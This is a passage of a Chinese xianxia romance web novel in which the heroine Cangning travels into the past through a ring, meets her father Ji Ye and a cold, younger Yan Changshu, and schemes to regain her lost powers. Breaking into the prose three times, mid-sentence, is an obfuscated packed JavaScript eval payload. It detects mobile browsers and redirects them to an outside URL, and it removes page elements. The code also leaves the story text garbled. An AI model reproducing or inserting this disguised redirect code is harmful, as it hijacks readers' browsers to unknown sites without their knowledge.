苍宁问道:“那能为我所用吗?” 她伸手:“你一个人看什么,给我也看看。” 晏长书掩住她的手:“你要与我共享记忆?” “这是什么意思?” 晏长书道:“这并非法器,人人都能使用。苍宁,这是我的东西,若非有我同意,天地之间,无人能闯进去瞧瞧。五色石便是这个道理。” 这里头连通的,是他的记忆,他的世界。 他不可能放任任何一个人进去漫无目的的闯一圈。 除非,这个人有相当的意义。 苍宁嘴角撇下去,甩甩手:“说这么多,你到底给不给?” 岳枋呆愣愣地看着晏长书叹了口气。 他给。 他握住她的手,苍宁仔细瞧着那戒指:“我见过你的戒指。” 晏长书道:“是吗?在高家王宫?” 这枚戒指,是她从高珣手上为他取回来的。 她摇头。 她对这枚戒指是有记忆的:在卐象图中,她错把晏长书当成鬼王时,他就戴着这枚戒指,或许她当时还没被卐象图弄糊涂? 若这枚戒指与众不同,有这样的涵义,苍宁便稍稍能够知晓岳枋和净天之前的话是什么意思。他的修为随手渡人,以至于无力长期支撑神器卐象图运作,只能靠不死之身来维持。这是他对自己太无所谓,对自己的生命毫不珍惜的态度。因此,他总是在蛇蜕时格外虚弱。 “晏长书,”苍宁叫他,盯住他的眼睛,“以你现在的能力,我随时都可以打败你,也可以离开你。如果以后你再隐瞒,欺骗我,我会把你的头打掉,听见没有?” 晏长书鸦黑的睫毛一颤:“嗯。”末了,他很在意地补上一句,“不可以这样打别人。” 苍宁:“?” 他笑了笑:“只能打我,只能吻我,对我随心所欲。因为只有我是宁宁的。他们都不配。” 苍宁:“……”她就说晏长书是个变态。 岳枋:……我为什么在这里? 见苍宁爱答不理,晏长书把手掩下,要将这件他在乎得不得了的事情说清楚,可苍宁偏偏不让。 正事为重。 苍宁坚持要先去瞧瞧天帝杀她的原因—— 可是晏长书看上去又有些犹豫,让苍宁幻视卐象图里那只呆呆歪头小傻蛇。 “怎么了?” “我不知晓这样是否能让你看到。”他淡道,“有些事我没有完全记起来。你先莫动,我引你进去。” 他伸手,苍宁等了老半天,一动不动。 “不行吗?” 他面色一顿:“……行。” “那怎么没用?” 晏长书沉吟:“我换个法子。” 晏长书惯来是有耐心的,他擅长忍受和等待,可苍宁惯来是忍不住一点的急性子。晏长书试了两遍没动静,她就要自己试。 说时迟,那时快,苍宁从魄丹中驱动神力,双眸中赤青色闪现,卐字纹在眼中浮动,只见晏长书神色一变,卐字戒指金光大闪,在须臾之间,苍宁便消失在空中,犹如烟消云散。 “苍宁!” 晏长书没能抓住她的手,面色沉沉。 岳枋忙问道:“她去了?” 晏长书只想引她进相对应的回忆中,可苍宁偏偏施用了卐法,催动了时空之术。 ——她的卐法最稚嫩,可因有他在场的缘故,搞了个大乌龙! 晏长书蹙眉:“她回到了过去。” 回到了那段记忆所在的,真正的时间当中。 他看向手中的卐字戒,神色不妙。 岳枋倒吸一口冷气:“那怎么办?” “我会想想法子,许要提前结束轮回。”他冷静说道,“苍宁若能寻到那时的我,大抵能回来。” 岳枋掩住红唇,作苦脸状:“没有冒犯尊者的意思,只是您那时候的性子……” “嗯。” 晏长书垂眸。 他那时候不像现在。 大抵是不好相与的。 - 苍宁是从天上掉下来的。 她想起她会飞,可是怎么都扑腾不起来,扑通一声掉到地上,砸出老大一个坑。等苍宁揉着臀儿龇牙咧嘴从地上爬起来时,才发现自己撞坏了一顶花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030049|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轿,里头的新娘子被撞出了麻雀原形,快被她压死了。 苍宁赶忙拍了拍她,她一动不动,尚有鼻息。苍宁这才放下点心,将麻雀带到荒凉的屋子里,喂了点放在桌上的水。 趁新娘子喝水时,苍宁仔细打量了下周围环境:说不上阴森恐怖,但绝对不是什么好地方。那些个不知放了多少年的木桶生着青苔,老旧的床板吱呀作响,破烂窗扉碎夜风刮得簌簌响,像是没了牙的老大爷,盖不住最后的体面。 忽而,外头赶来了几个人,推门看见她,忙说道:“欸还在呢还在呢!” 这几个男子个个身强体健,见躺在床上那只麻雀不动了,便来捉苍宁。苍宁哪能忍得住叫旁人这样对待,伸手便想拧断来人的手,可她一出手却发现无法驱动神力,身体里的力量忽然之间消失了! 为首的男子当即给了苍宁一巴掌,掐住她的领子道:“该死的臭鸟,让你嫁给姬烨是你有福气!多少人想嫁过去都没这本事,你一个小小麻雀,就干麻雀该干的事!完成好天帝陛下的任务,否则你们一族都得死!” 苍宁头晕眼花,被他们塞进新的轿子里,雷厉风行地抬走了。到目的地前,将她的嘴封住,还交代了每十日都要往神界回传消息的任务。 不知过了多久,苍宁被捆住双手蒙住眼睛丢到床上,便无人再搭理了。 她努力想搞清楚状况。 她这是代替了原本那只麻雀,嫁给了谁当小妾??! 不是,她堂堂青鸾末裔!是神界震震有名的大鸟!丧失法力居然落得这样的下场,真是虎落平阳被犬欺!不行不行,这事她万万干不了! 苍宁反手摸索着周围的东西。身下的被褥很舒服,大抵是丝绸的,可见那个叫姬烨的有几个臭钱。身体呈之字形扭来扭去,苍宁终于摸到床柜上有瓷瓶,一个用力推下去,只能推到柔软的床塌上,她再度把瓷瓶往身下推,啪嚓一声,瓷瓶脆了个干净,她便用吃奶的劲儿拾起一块碎片,割开自己手上的绳索。 但很可惜,她没能成功。 外头有人走进来,一把撩开了苍宁眼睛上的布。 刺眼通明的烛光一时间让苍宁睁不开眼睛。她眯着眼睛努力适应光线,发觉自己正躺在满地狼藉中,脸和手都被碎瓷片刮出了淡淡的血痕,而她面前站着的,却是位俊美无俦,意气风发,叫人挪不开眼睛的郎君。他的双眸是浅淡的琥珀色,额上有三枚金红羽印,胸前佩戴金项圈,腰上环佩璎珞鱼佩,端的是贵气逼人,天赐风流。 苍宁总觉得这个人长得有几分眼熟。 男子冷着俊脸问道:“你就是天帝送来的人?” 苍宁猛摇头:“不是不是,大哥,你听我说,我是路过的,你放我回家,我给你一百万两,一口价。” “闭嘴。就凭你也敢在本殿面前班门弄斧。”男子似乎嫌弃极了,甩了甩裤脚,道,“来人,把她丢出去。” “是。” 周围的仙侍凑过来,一个个穿金戴银,快准狠地将她拉起来,作势要往外扔,苍宁瞥见男子侧脸,灵机一动,终于想起来他像谁了。 他像苍宁啊!!这侧脸,不就是小鸟梳毛的时候经常看见的侧脸吗! 正此时,苍宁被利落送出锦屋。眼瞧着就要出去,苍宁大声喊道:“等等!等等!” 男子压根儿不理苍宁,苍宁忽而喊道:“你要是把我扔了你后悔一辈子!凝安也后悔一辈子!!” 姬烨出声:“等等。” 凝安这两个字果然有用,苍宁被扔到姬烨跟前,滚了好几个圈,狼狈地落到他脚边。 嘶—— 苍宁暗暗叫疼。这些仙侍是多熟练啊,四个人统一把她推到人脚边上。平时没少推人吧? “本殿允你说,莫非是凝安给你传递了消息?”姬烨有些期待。 “传递了传递了呀……” 好好好,看来没来错节点,就是这个时候。 姬烨道:“她告诉了你什么?” 告诉了…… 苍宁抬头,瞧见姬烨一副臭脸模样,仿佛看见了自己生气时的样子——就是这样!真的好像,简直一模一样!岳枋说的是真的,她的臭脾气原来真的和她爹爹一模一样! 爹爹,是真的爹爹呀!就在眼前!像活的一样! 也许还能见到娘亲,他们都在她的身边…… 苍宁活了一千多年,从没见过爹娘,如今终于是看见了!她越想越难受,止不住看见至亲的心潮澎湃,哇得一声哭出来,抱住了姬烨的大腿,哭得上气不接下气道:“爹爹!!!!” 56. 旧事新知·一 苍宁喊爹喊得撕心裂肺,响彻云霄。这句从内心深处油然而生的“爹”没有任何人可以模仿。仙侍们面面相觑,暗暗吃惊。 苍宁哭得眼睛都红了,她亮出自己原身,试图证明自己的身份,结果越描越黑,被喷“小小麻雀也敢使变身术冒充凤凰”。 姬烨一张俊脸气得扭曲不已,伸脚踹开她,怒目道:“把这个疯女人给本殿关进笼子!” 仙侍们闻声办事:苍宁被扔进了笼子里,悬挂在中门上,摇摇晃晃。 苍宁的谄媚之名便是从今夜流传而出。 仙侍们来来往往见着她,都会嬉笑道再也没有人可以像她一样谄媚到喊爹如此顺畅了。姬烨作为凤凰一族的少主,如何能看得上她? ——连妾也是不配当的,不过是碍于天帝情面不弄死罢了。 但也活不好。 苍宁在笼子里盘腿而坐,已经呆了三天。每当姬烨路过,她就会兴高采烈地和他打招呼,管他叫爹,仙侍们每每笑得人仰马翻,姬烨拿了张绸娟塞住了她的嘴。 苍宁格外委屈。 姬烨一听见她喊爹就狂躁,掐着她的脖颈咬牙道:“别以为你有几分像阿凝,本殿便会轻易饶过你。” 苍宁含糊道:“……你妹觉得我还有几分像你妈?” 姬烨听她理直气壮,眯眸道:“你竟敢骂本殿。” 苍宁:“……” 姬烨心高气傲,不许仙侍拿照管她,苍宁就这样晃晃悠悠呆了七日,风吹日晒,无人理会。白日里偶有一次看见一顶奢华轿落从笼子底下穿过,便招招手,叫住最末尾的仙侍,问道:“这位好大排场,来得是谁?” 仙侍梳着八宝髻,抬头挺胸,语气傲慢:“你就是麻雀一族那个不知天高地厚的哭爹女?果然是有眼不识泰山,见识短浅。来者自然是三危山青鸾族凝安上神。” 仙侍语气不善,可苍宁喜出望外。是阿娘!她是有阿娘的人了! 她压抑住兴奋,试探道:“听闻凝安上神嫁给了天帝?” 仙侍愣了愣,啐道:“上神尚未婚配,莫要胡言乱语,提些腌臢事!我看你是癔症入脑,没得救了!” 没嫁? 苍宁歪头,这样的话,阿爹阿娘是两情相悦,天帝横刀夺爱?果然是强取豪夺! 她欲再询问,可仙侍不愿搭理她,走远了。 苍宁满心欢喜,期待着姬烨和凝安从她这条路走过,若阿娘从这里经过,一定会相信她口中的话,不会把她吊在这里的。可等来等去,从日升等到日落,从日落等到日升,苍宁等来了一场雨,却没有等到自己的爹娘。 她原本不期待这件事的。神仙子嗣绵延不多,不少神仙欲望淡薄,她从小备受宠爱,她本来什么都感受不到的。可是苍宁现在却明白了那种等待的心情。尤其是她看见内殿里热闹的筵席散会后,仙侍们说说笑笑地走出来,回到自己的屋子里,点起昏黄烛火的时候,苍宁顿感四处漏风的鸟笼有多么令她失落。 不过,她等到了一个意外之客。 她随口靠在鸟笼旁哼曲儿的时候,一位眼覆白绸的郎君正站在她笼子底下。他头戴宝冠,环佩宝珠璎珞,剑眉星目,面色苍白,整个人如冷玉一般,交叠在脑后的覆目长带正在风中缓缓飞舞,又随风的离开落在腰间,比神仙更有神仙气。 苍宁只能看见他的头顶——呼,头发很黑,又顺又滑,从鸟族的角度来看,他一定会有一身特别漂亮的羽毛。 可是,苍宁探不到他任何气息。不知是空是满,犹如触及空气,无处不在。 这位郎君……很早就成神了吧? 他虽目不能视,但静静伫立,丝毫没有任何迷惑,一如他散发的气息,干净、清冽,没有任何一丝欲望。 苍宁晃晃悠悠,问道:“筵席刚散,你是哪位神仙?” 他微微抬脸,仿佛在审视她。 借着月光,苍宁吹了声口哨,这郎君挺俊啊,俊到她心坎上了。 “难听。” 神仙终于开口。 苍宁一愣。 “你唱歌,很难听。”他没有感情地陈述,“打扰到我了。” “什、什么——” 等她安静下来,他迈开步子继续往前走。眼瞧着他走过拐角处离开,苍宁才反应过来。 不是,她唱歌很难听吗? 不对! “晏长书!晏——长——书!” 苍宁刚刚发愣,倒不只是因为他说她唱歌难听,而是因为他一出声,她就听出来了,那是晏长书的声音。 这是晏长书,曾经的晏长书。 如果晏长书爱她,那曾经的晏长书,是不是也会心软得来帮帮她? 可是没有。 苍宁发觉,晏长书只是在观察她。 他似乎是凤凰山上的贵客,去哪里都畅通无阻。他路过这条路时,偶尔站在她的笼子下,听她。 听她的声音:从伪装乖巧的“尊者尊者,帮帮我呀,放我下来吧。”,到温温柔柔的“长书尊者,救救我呀”,再到凶巴巴,失去耐心的“晏长书,快放我下来!” 终于,在苍宁说“别看了”的时候,晏长书作为一个冷酷的旁观者,发出了声音。 “我看不见。”他的声音平淡如水,没有一丝情感的波澜,“但是你每次都很吵。” 苍宁咬唇,气道:“所以你每次停下来就因为这个?!” 她还以为晏长书有些怜惜她被关在笼子里,可怜兮兮…… 他淡道:“你是我没见过的种类。” 什么?种类? 这是什么语气?好……好傲慢。不对,他明明没有语气,为什么苍宁还是感觉到了一种天生高高在上的、创世神般的语气? 他诚实回答:“从前没有在生灵中见过你这种凤凰种类。” 苍宁怒道:“我是凤凰和青鸾所生!” “哦。”他波澜不惊,“不可能。” “怎么不可能?” “我知晓所有生灵。其中没有你。” 老天奶,苍宁目瞪口呆,这是做什么,剥夺她生而为鸟的权利??晏长书真是好大的胆子!要是不在卐字戒的回忆中,苍宁铁定要恶狠狠咬他几口,再要求他道歉。 苍宁冷哼一声,撇嘴道:“我是天生贵鸟,你不知道我,说明你有很大的局限性。” 晏长书神色不动,甚至一动不动。只是发出了一声:“哦。” 只这一声,就惹恼了苍宁。 她被西王母称作任性,在晏长书面前便更是任性。他任取任求,何曾这么冰冷过? 何况——何况他的语气实在是让她气愤不已! 苍宁干脆说些让他顾不着头脑的事,不再理会他能不能听懂,埋怨他在卐字戒的回忆外从不会这么冰冷无情,还说等自己出去一定要打掉他的脑袋,狠狠惩罚他。 关于这一切,晏长书都照单全收,一字不落地听下了。 等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030050|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苍宁气喘吁吁地停下嘴,他方启唇:“不是回忆。这里是现实。” 苍宁再一愣。 晏长书偏头,又淡淡说道:“你很难受?我还以为你这种种类,喜欢待在笼子里。因为你在唱歌。虽然唱得很难听。” “……?”一定要重复她唱歌难听这件事这么多遍吗? “但你这么吵。”他说道,“应该能活很久。” 苍宁:“……” 他是在记录什么新物种吗…… 苍宁无语了。 晏长书观察完毕,没有留恋地走了。 苍宁这回连精神都在晃晃悠悠,不是回忆?什么叫不是回忆?回忆里的人叫什么叫,那么大声!还有,晏长书是不是有点奇怪…… 原来他是这样的人吗? - 翌日,苍宁睡觉的时候,忽然被四位仙侍放了下来。 破天荒的,她被客客气气带到水池中沐浴,给了身彩锦衣裳,还送了五枚金元宝。 苍宁摸到手里就知晓,这是她小金库里的金子,大小、形状,都是独一无二的,所以貔大虎才喜欢吃她金库里的金子。原来金元宝都是爹爹的遗产。 她瞅见其余金元宝都被拿走,忙阻止道:“欸欸,拿去哪儿?” 一位仙侍答曰:“自然是去奖赏服侍过你的仙侍们。呵,你倒是对少主的金子很有占有欲。” 你懂个屁。苍宁叉腰不满。 现在是爹爹的金子,来日就是她的金子!多花给讨厌的人一分,她就少一分,何况,里头有几位还嘲笑过她呢!凭什么拿她的金子赏给欺负她的人?她一点都不服气。 可她银牙咬碎,到底无可奈何。 那仙侍说道:“少主有令,让你去服侍长书尊者。” “怎的服侍他?” 仙侍瞟了她一眼:“尊者心善,替你求情,少主这才放了你一马。少主邀请尊者住在瑶柱宫休养生息,你既然承了尊者的情,何不好好留下办事?” “办事?” “你还想着当我们少主的妾?”那仙侍嗤笑道,“能成为仙侍,已然是恩赐,你便老老实实待着,别再有非分之想!” “那凝安上神……” “和你有什么关系?” 和她实在是有大关系! 可苍宁神力全失,一点办法没有,只能由仙侍东拐西拐,带到了僻静的瑶柱宫。 “尊者喜静,莫要再哭爹喊娘。若再有不轨,少主必扒了你的皮毛!” 苍宁:“……” 仙侍匆匆离去。 苍宁绕过抄手游廊,穿过亭台楼阁,喟叹飞檐翘宇不输西王母所在处,尔后,她走进幽幽内室,从掀开的支摘窗处窥见了晏长书的身影。 他长身玉立,正背对着她。 不待她接近,便回转过身。 ——晏长书虽蒙住了双眼,可灵敏至极。 苍宁顿住了脚步,凝神屏息。 他观察了许久,才张唇问道:“你为何在此?” 苍宁答道:“我爹……少主让我来告诉你,他已经知晓了我的身份,我需要你帮助我。这事我已经征求了少主的同意。” 她随口胡诌惯了,张口即来。晏长书多少信她些,就算不信……也能顺着她。 不过眼前冷玉似的人可不顺着她。 晏长书转过身,不再看她。 “我讨厌诳语之辈。”他道,“你走吧,我暂且不追究。” 57. 旧事新知·二 苍宁不服气,倒打一耙:“我哪里有说谎,分明是我说真话你都不相信,我只好说些开心话。” 晏长书表情没变化,微微歪头。苍宁瞬间联想到卍象图里的呆呆小蛇。 歪头,观察,疑惑。 趁着晏长书疑惑的时候,苍宁便和他打听起现下的情况:姬烨和凝安的情况,天帝和西王母的情况,晏长书的情况。根据他断断续续的回复,苍宁知晓姬烨和凝安感情正好,除此外,晏长书对人情世故并不关注,更不关注狗血八卦。总而言之,晏长书在男女之情上一片空白。 苍宁回想起夜里那些缠绵悱恻的床笫之事,总认为蛇性本淫,他应当天生就会。如今瞧来,以他上古神明后裔的身份,这样的想法倒像是亵渎了他。 不过他不知道更好。这样更好骗,不是吗? 苍宁双眸一转,告诉他,他们来日是很亲密很亲密的关系。 他客观而诚恳:“鸟族不可能是我的后裔。” 苍宁啪得一声打了他的手腕:“不是这种亲密,是那种亲密——我们是伴侣!” 晏长书盯着她拍打的地方,静默许久,用另一只手掩住手腕,像是要掩盖住她留下的气味:“不可能。” “怎么又不可能?”苍宁不耐烦起来,“算了,你是回忆里的幻影,和你说也说不明白。” “不是幻影。我和你说过,这是现实。” “什么意思?” “如你所闻。” 苍宁微微张唇。 晏长书抬眸询问:“你从何处习得时空之术?” 苍宁愣住:“并未习得。是你……不,想必是我驱动卐字戒时……出了点差错。” 那枚戒指,如今正在晏长书的拇指上。 她左思右想,不愿相信自己处于真正的时间中,可晏长书通晓时空之术,没有必要撒谎。 事到如今,没有别的办法。 苍宁道:“……我丧失了神力。你得帮帮我。” 他淡道:“我为何要帮你。” “不是你替我求情,放我出来吗?” “我为何要事事帮你?” 苍宁张唇:“你不帮我,我回不去,来日你会后悔的。还是说……”她微微挑眉,“你想留我在这里,行敦伦之礼?” 他微微凝息,脸庞转向她。 他好像在看她。 苍宁撑着脸,露出手腕上两点血痣,笑眯眯地拉长音调: “晏长书,你知道喜欢是什么滋味吗?” 他摇摇头。 “你想不想……提前试试?” 她像雾气弥散的雨中惑人的精怪,等着他上勾。 晏长书静默半晌,唯有长指微微一动。 “不想。” 他拒绝了她。 “是吗?”苍宁随口说道,“可是我挺想你的。很想很想。” - 晏长书对她始终保持距离。 送来的东西,若经过她的手,他绝对不碰。平常摆放的东西,要干干净净,一丝不苟。苍宁平日里蹿到凤凰山主殿旁去偷偷打探消息,一无所获回来,好声好气想要让晏长书替她瞧瞧她的神力何时能恢复,那人也是爱答不理。 他路过的时候,好似把她当做一块石头。只是因为这块石头会叫,才停下来,发出一声没有感情的感叹:哦,会唱歌的石头。没见过。 但苍宁满脸不爽地走到他身边时,他都会微微侧头,静静等她动作。如此两三次,等到其他仙侍总是隔着老远给他送东西,统一放在隔水一遥的莲花台上时,苍宁才觉得有些不对劲。 “你们放那么远,都让我拿过去?就不能放近些吗?”苍宁讨厌被使唤。 她还以为仙侍会说“让她拿是她的福气”之类的狗屁话,谁知说得更加阴阳怪气:“尊者有结界在身,若非尊者允许,无人能近他的身。倒是小疯子姐姐,短短几日不见,便已讨得尊者欢心了?没成想这般厉害,真是人不可貌相啊。” “当然了,我不仅相貌厉害,人也厉害。” “你厉害?有几个修为啊那么能摆谱?” 苍宁歪头:“你嫉妒我厉害啊?” “我嫉妒?可笑!”仙侍睨她,“你小小麻雀,能翻出什么花儿来,修为是零,卖笑也爬不上少主的床,还想爬尊者的床不成?” “可我已经爬上他的床了。”苍宁笑眯眯地,指名道姓道,“晏长书可喜欢我了,又亲又抱,让我为所欲为,是我乖乖的小狗蛇哦。” “你——你——你亵渎上古神明后裔,你不知羞耻,你不要脸!” “我哪里不要脸了,分明是他把脸给我了。” 仙侍甩袖离去。苍宁龇牙,作势挥了挥拳头。 苍宁一只鸟抱着牡丹往里走,来回十几趟,香汗淋漓,累得倚在美人靠上歇气,晏长书捻着鱼食往水塘里撒,气定神闲,潇洒自若。 他今日一袭青衣,颜色浅淡,但环佩璎珞,上饰琉璃、砗磲、玛瑙,覆目长带末尾同样装饰着三颗真珠,一瓣心莲,他腰佩玉带,坠以宝珠,煌煌有光,俊俏又不带一丝欲望,让苍宁十分心动。 她想起现如今晏长书对她的漠视,又想起仙侍说她已经讨得尊者欢心,不由觉得好气又好笑,想要将他勾过来说说话,可他没听见似的,苍宁只好伸出食指从他璎珞玉带的罅隙穿过去,微微一勾,将他往后拽—— 晏长书何等功力,自然纹丝不动。可他的玉带扣却开了,其中一端啪得一声落到地上,使他束好的衣裳松散开来。 他捻着鱼食的手顿在空中,整个人僵硬不已,微微垂首,唇色发白。 苍宁紧紧握着玉带另一端,尴尬地拿起来,将玉带从他身后穿过,为他重新戴上。远远看过来,这个姿势像在拥抱他。 苍宁问:“你很冷吗?” 他的手的确是冰冷的。 晏长书摇头。 苍宁慢慢靠上他的背,覆目长带末尾的装饰物搁在苍宁胸前,她挑出来,环住他。 “你好僵硬。”她歪头,“晏长书,我记得你很喜欢拥抱呀。你喜欢吗?” 他张张唇,伸手将她的胳膊拉下来。 “你讨厌我?” “好吵。” “怎么又嫌我吵啊。”苍宁不满,“刚刚那个仙侍说,不经过你的同意,没人可以接近你。这意思不是说你对我超级满意吗?” 晏长书指尖一动,将手中剩下的鱼食撒在锦鲤池中,越过她,冷道:“别靠近我。” “你真过分,我可是帮你搬了十几盆牡丹——晏长书!” 晏长书不理她。 苍宁回想起在高家王宫的那些日子。那会儿晏长书便很冷淡,要靠她想方设法地接近才能唤回他一次回应,现在的他和当时别无二致。 谁说成为凡人的他不一样的?这股劲劲儿的感觉简直一模一样。 苍宁一株一株将牡丹摆好,得空便去主殿打探情况,这回主殿张灯结彩,像是又有贵客,她探头探脑,一回身发现一个穿着素净,但尤其美貌的仙侍立在她身后,吓得心都要从嗓子眼里跳出来了。 苍宁反应快,笑得甜,连忙问道:“姐姐,姐姐,你知道少主在哪里么?” 貌美仙侍一举一动皆娴静涵雅,眉如远山黛,眸光如秋水多情,说话声如铃脆响,叫人心情舒畅。 她说道:“不知晓。鸟族千年一次的比试大赛要开始了,他需出席,忙得很。你找他有事?” “有点事。我就是打探打探……”苍宁眼珠子转了转,眯眸道,“对了,上回凝安上神来凤凰山,是不是留宿了?” “……没有。” 苍宁大吃一惊:“该不会要嫁给天帝吧!万万不能。” “你胡说些什么呢?” “不是就好,那……那尊者为什么会在这里呀?” “姬烨……少主热心,知晓尊者有难处,自然提议帮忙。你对他们很上心?” 苍宁敏感地发觉对方语气有些疑惑,立马改口:“上心,太上心了!我恨自己修为不够,心中将三位当成启明星一样的存在,只求每日能够激励我前行。可是光想没用,我得朝圣啊,我必须见他们一面。等一下,姐姐,你别走,我的漂亮姐姐,你人美心善,告诉我比试大赛什么时候开始,我能不能参加?” “你?”貌美仙侍眨着似水黑眸,“你似乎没有力量,如何能参加?” “我有的! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030051|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她道,“我已经拜尊者为师了!尊者说我十分有天赋,不到百日便大有可为!” 苍宁撩开手腕,再次露出两点血痣作证:“姐姐你看,这是尊者亲口给我下的……呃,术法,可以作证。” 这是晏长书咬下的血点,一直留着痕迹,曾经还保过她的性命,定有他的气息和痕迹。 貌美仙侍不着痕迹地上下打量她一番,微微一怔,垂下眼,笑道:“别的也就罢了,可你说百日便大有可为,实在是说笑。天上地下,从未有这样的法子。” 苍宁脑中闪过一些人的一些话,真诚地问:“双修呢?行不行?” 貌美仙侍的脸忽然冷下来。 苍宁道:“好姐姐,我有急事,心急如焚。” “你既然能化人形,可知有天赋,为何不脚踏实地,而要投机取巧?便是再心急如焚,也不能用歪门邪道,为众生所不耻。”仙侍的视线绕她一周,沉吟半晌,抬手递给她一枚玉佩,“你若真有心,三十三日后带玉佩前来比试大会。” 苍宁咬唇:“姐姐肯信我?” “我不是肯信你。一来,尊者身体不适,是凤凰山的贵客,亦是天地间的贵人,不可能答应你无聊的把戏。二来,三十三日内你无法有所突破。你来挨顿打,早点清醒吧。” “姐姐好狠的心,怎么让我挨打?” 仙侍目光干净清冽:“叫你知晓,在这世间,若你不能保护自己,乱说话,乱做事都是要付出代价的。” 切。 苍宁挑眉道:“你叫什么?”她非得记住这人不可。 “倒时,你来了便知。” 苍宁抿唇,逞强道:“好,自然好,我一定来!倒是你,贵人多忘事,可别忘了我。” 她气死,这些鸟儿怎么都瞧不上她。 可恶! - 苍宁到瑶柱宫中,脱了鞋泡在冰凉的池水中。 月华如纱,她静坐一炷香的时间,从干净的池水中爬出来,坐在牡丹花旁。 唉声叹气。 “唉……” 叹气唉声。 “唉……” 苍宁叹得离她最近的牡丹花儿都蔫了,好不容易等身上水干了,发觉晏长书还未睡,便偷摸得从菱花窗前探过去。 他在看书。 看看看看书? 不对,他只是摊开了一册书,覆目飘带仍在,说是看书,似乎更像发呆。 他待了一会儿,合上书,就这样呆坐了半个时辰,然后吹灭烛火,宽衣解带,回到床踏上歇息。 等待他呼吸变得平稳后,苍宁飞溜进去,不像一只鸟,倒像是偷/腥的狐狸。 她脱去外裳,钻进温凉的被窝中,本想好好兴风作浪一下,叫她重新拿回神力,可没成想太累了,一沾被窝就想睡觉,安慰自己只是眯一下,就这样睡到了大天亮。 醒来时,床榻上只有苍宁一只鸟。大喇喇地伸着腿,估计晏长书能被她踹下床。 她赶忙往床下一看,没有。她往窗外一看,牡丹花开得正好。她忙爬起来收拾齐整,伸了一个大大的懒腰。晏长书人不见了,晚些才带着一身香气回来。 苍宁警觉道:“你去哪儿了?” “和你无关。” 晏长书冰霜颜色,抿着唇,愈发叫苍宁想勾他,让他折腰。 不知道这双唇吻起来是否和来日一样炽热柔软? 夜里,苍宁轻车熟路溜进晏长书房中。她照例等他睡熟了才钻进他的被窝。 小鸟东闻闻,西嗅嗅,紧接着,想要伸手将他双目上的布条摘下来,可视线不自觉低下来,看见他的唇,又想亲一亲,叫他染上一丝情欲的颜色。 可还未碰到晏长书,苍宁就被提溜住后脖颈肉拎了起来。 晏长书冷言道:“做什么?” 完全是捉鸟在床。 她漫无边际道:“尊者有无穷神力,又与我来日有红线之缘,若有可能,我想拼尽全力争取一个拿回自己本有力量的机会。” 晏长书平日淡言淡语,现下脸都黑了:“说人话。” 苍宁也是好起来了。她一点不心虚,眨了眨水灵灵的眼睛,问道:“呃……双修吗?” 58. 旧事新知·三 双修之道,乃男女同源,心灵相合。苍宁说要双修,只是随口说说,她自己也不清楚到底如何双修。她的手往晏长书衣袖里拂过,捉住那只捻住她脖颈的手,脸涨得通红,晏长书甩手便将她扔出了房。 扑通一声,屁股开花。 “嘶……” 苍宁赶忙把玉佩拿出来瞧了瞧,没碎。她靠着门口,发觉自己外裳还在里头,起来敲门:“晏长书,我衣裳还在里头,你开门呀。” 敲了半天,这人也不开。真是绝情。 晏长书对她几乎百依百顺,苍宁何时受过这等气?她闷闷回到自己房里,啄了一晚上羽毛,因为没睡而更加精神,早早起来便修炼。 结果连自己的神刀都唤不出来。 苍宁有点抑郁。但虽如此,苍宁还是循着旧有的修炼法子一个一个试了一遍。 没有一个能行。 她只好猜测是因为自己无意间启动了时空之术,将自己的力量耗干净了。她现在就像一个普普通通刚能修炼成人形的鸟族。她备受打击,但无法坐以待毙。 好在晏长书根本用不上什么伺候,她白日里东问问,西瞧瞧,将近日里发生的事情摸透。 事情有二。一则,晏长书跟随地藏菩萨佛修后,愈发沉默寡言,一双比翼鸟啄吓了他的双目,夺走了他为数不多的修为,姬烨少主心善,留他在此养伤。 二则,凤凰山接二连三的筵席乃天帝亲临,天帝重视凤凰山,同样也会出席比试大会,选出优秀的鸟族后裔,进入神界。 苍宁眯眸。 天帝…… 若是她能取回力量,岂不是能早早在此结果了天帝,后来的一切便可一笔勾销? 可是…… “有了吗?” 没有。 苍宁揉揉自己的肚子,魄丹十分沉寂,没有任何力量涌动。 苍宁夜里进晏长书的房,白日里揉肚子的事儿不知道什么时候传了出去。 她在凤凰山本就名声极差,现下更是不堪入耳。说她爬不上姬烨的床,便给晏长书下药,夜里强迫虚弱的尊者满足她的私欲。 苍宁听闻不怒反笑,可回头见到姬烨大马金刀坐在瑶柱宫中,还是心有戚戚然。 姬烨身姿优越,三枚羽印有如莲华,琥珀色双眸深不见底,面容不怒自威。他沉声道:“跪下。” “……我不跪。”苍宁没好气道。 